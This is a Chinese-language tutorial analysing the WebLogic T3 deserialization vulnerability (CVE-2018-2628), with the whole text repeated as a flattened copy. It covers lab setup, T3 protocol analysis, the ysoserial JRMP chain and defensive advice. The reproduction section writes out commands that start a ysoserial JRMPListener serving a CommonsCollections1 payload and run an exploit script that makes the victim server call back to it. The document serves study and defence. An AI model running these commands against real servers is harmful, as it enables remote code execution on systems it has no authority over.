从WebLogicT3反序列化学习Java安全
字数 1436 2025-08-20 18:17:47

WebLogic T3反序列化漏洞深入分析与实践

0x01 漏洞复现

环境搭建与漏洞验证

  1. 环境准备

    • 使用Docker搭建WebLogic漏洞环境(默认开放7001端口)
    • 额外开放8055端口用于远程调试
  2. 漏洞验证步骤

    # 启动JRMP监听服务
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 "touch /tmp/temp"
    
    # 执行漏洞利用
    python exp.py 192.168.42.192 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.192 8000 JRMPClient
    
    # 验证结果
    docker exec -it [容器ID] /bin/bash
    ls /tmp/temp
    

远程调试环境配置

  1. 获取必要文件

    docker cp [容器名称]:/root/jdk [目标路径]
    docker cp [容器名称]:/root/Oracle/Middleware/wlserver_10.3 [目标路径]
    
    # 提取所有jar包
    cp `find ./wlserver_10.3/ -name "*.jar"` ./dep
    
  2. WebLogic调试配置

    • 修改startDomainEnv.sh
      debugFlag="true"
      DEBUG_PORT="8055"
      
    • 更新docker-compose.yml开放8055端口
  3. IDEA配置

    • 使用从容器中提取的JDK作为项目SDK
    • 添加所有提取的jar包为项目库
    • 配置远程调试连接(端口8055)

0x02 T3协议分析

T3协议特征

  1. 协议结构

    • 前4字节表示数据包大小(如00 00 06 d7
    • 固定头部(约100字节)
    • 序列化的Java对象数据
  2. 通信流程

    • 客户端与服务器交换信息
    • 传输多个序列化对象
    • 服务器反序列化处理
  3. 攻击原理

    • 替换传输的序列化对象为恶意对象
    • 利用服务器反序列化机制执行恶意代码

流量分析实验

  1. 实验代码

    • 实现简单的RMI服务(Hello接口及实现)
    • 客户端通过T3协议与WebLogic通信
  2. 关键发现

    • T3协议可一次传输多个对象
    • 对象按顺序反序列化
    • 协议头部有固定特征

0x03 相关技术概念区分

JNDI与相关技术

  1. JNDI架构

    JNDI API
    ├─ RMI (远程方法调用)
    ├─ CORBA (公共对象请求代理)
    └─ LDAP (轻型目录访问协议)
    
  2. RMI核心机制

    • 依赖反序列化传输对象
    • 支持动态加载远程类(通过java.rmi.server.codebase
    • 客户端与服务端可互相加载类
  3. 攻击面

    • 反序列化漏洞(继承参数类构造恶意对象)
    • 远程类加载(强制服务器加载恶意类)

0x04 漏洞深度分析

反序列化触发点

  1. 关键类

    • weblogic.rjvm.InboundMsgAbbrev(位于wlthint3client.jar)
    • ServerChannelInputStream(继承自ObjectInputStream
  2. 调用链

    weblogic.socket → 读取字节流
    → weblogic.rjvm → InboundMsgAbbrev
    → ObjectInputStream.readObject()
    → resolveClass()
    
  3. 动态调试观察

    • 按传入包顺序反序列化
    • 第一个包反序列化完成后处理RMI相关包

ysoserial JRMP模块分析

  1. JRMPClient利用链

    RemoteObjectInvocationHandler
    → UnicastRef.readExternal()
    → DGCClient$EndpointEntry.makeDirtyCall()
    → 连接攻击者指定的JRMP服务
    
  2. JRMPListener工作流程

    • 根据参数初始化Payload(如CommonsCollections1)
    • 监听指定端口等待连接
    • 收到连接后发送序列化恶意对象
  3. 完整攻击流程

    1. 攻击者启动JRMPListener
    2. 构造T3协议恶意数据触发JRMPClient反序列化
    3. 受害服务器连接攻击者JRMP服务
    4. JRMP服务返回异常触发二次反序列化
    5. 实现RCE

0x05 技术细节与优化

直接T3反序列化与JRMP迂回对比

  1. 直接利用限制

    • Payload较大可能导致413错误
    • 受黑名单限制更严格
  2. JRMP迂回优势

    • Payload更短小
    • 可用于检测(类似URLDNS)
    • 绕过部分黑名单(二次反序列化)
    • 有错误回显便于调试
  3. 直接利用方法

    • 构造完整的CC1链序列化数据
    • 通过T3协议直接发送(需处理数据包大小限制)

关键防御思路

  1. 官方修复

    • 增加反序列化黑名单
    • 限制T3协议访问
  2. 防护建议

    • 关闭不必要的T3协议
    • 更新WebLogic补丁
    • 监控异常反序列化行为

附录:参考资源

  1. ysoserial JRMP相关模块分析
  2. Java中RMI、JNDI、LDAP等技术关系解析
  3. CVE-2018-2628官方分析报告
  4. WebLogic T3协议官方文档

注:本文所有实验应在授权环境下进行,严禁用于非法用途。

WebLogic T3反序列化漏洞深入分析与实践 0x01 漏洞复现 环境搭建与漏洞验证 环境准备 : 使用Docker搭建WebLogic漏洞环境(默认开放7001端口) 额外开放8055端口用于远程调试 漏洞验证步骤 : 远程调试环境配置 获取必要文件 : WebLogic调试配置 : 修改 startDomainEnv.sh : 更新docker-compose.yml开放8055端口 IDEA配置 : 使用从容器中提取的JDK作为项目SDK 添加所有提取的jar包为项目库 配置远程调试连接(端口8055) 0x02 T3协议分析 T3协议特征 协议结构 : 前4字节表示数据包大小(如 00 00 06 d7 ) 固定头部(约100字节) 序列化的Java对象数据 通信流程 : 客户端与服务器交换信息 传输多个序列化对象 服务器反序列化处理 攻击原理 : 替换传输的序列化对象为恶意对象 利用服务器反序列化机制执行恶意代码 流量分析实验 实验代码 : 实现简单的RMI服务(Hello接口及实现) 客户端通过T3协议与WebLogic通信 关键发现 : T3协议可一次传输多个对象 对象按顺序反序列化 协议头部有固定特征 0x03 相关技术概念区分 JNDI与相关技术 JNDI架构 : RMI核心机制 : 依赖反序列化传输对象 支持动态加载远程类(通过 java.rmi.server.codebase ) 客户端与服务端可互相加载类 攻击面 : 反序列化漏洞(继承参数类构造恶意对象) 远程类加载(强制服务器加载恶意类) 0x04 漏洞深度分析 反序列化触发点 关键类 : weblogic.rjvm.InboundMsgAbbrev (位于wlthint3client.jar) ServerChannelInputStream (继承自 ObjectInputStream ) 调用链 : 动态调试观察 : 按传入包顺序反序列化 第一个包反序列化完成后处理RMI相关包 ysoserial JRMP模块分析 JRMPClient利用链 : JRMPListener工作流程 : 根据参数初始化Payload(如CommonsCollections1) 监听指定端口等待连接 收到连接后发送序列化恶意对象 完整攻击流程 : 攻击者启动JRMPListener 构造T3协议恶意数据触发JRMPClient反序列化 受害服务器连接攻击者JRMP服务 JRMP服务返回异常触发二次反序列化 实现RCE 0x05 技术细节与优化 直接T3反序列化与JRMP迂回对比 直接利用限制 : Payload较大可能导致413错误 受黑名单限制更严格 JRMP迂回优势 : Payload更短小 可用于检测(类似URLDNS) 绕过部分黑名单(二次反序列化) 有错误回显便于调试 直接利用方法 : 构造完整的CC1链序列化数据 通过T3协议直接发送(需处理数据包大小限制) 关键防御思路 官方修复 : 增加反序列化黑名单 限制T3协议访问 防护建议 : 关闭不必要的T3协议 更新WebLogic补丁 监控异常反序列化行为 附录:参考资源 ysoserial JRMP相关模块分析 Java中RMI、JNDI、LDAP等技术关系解析 CVE-2018-2628官方分析报告 WebLogic T3协议官方文档 注:本文所有实验应在授权环境下进行,严禁用于非法用途。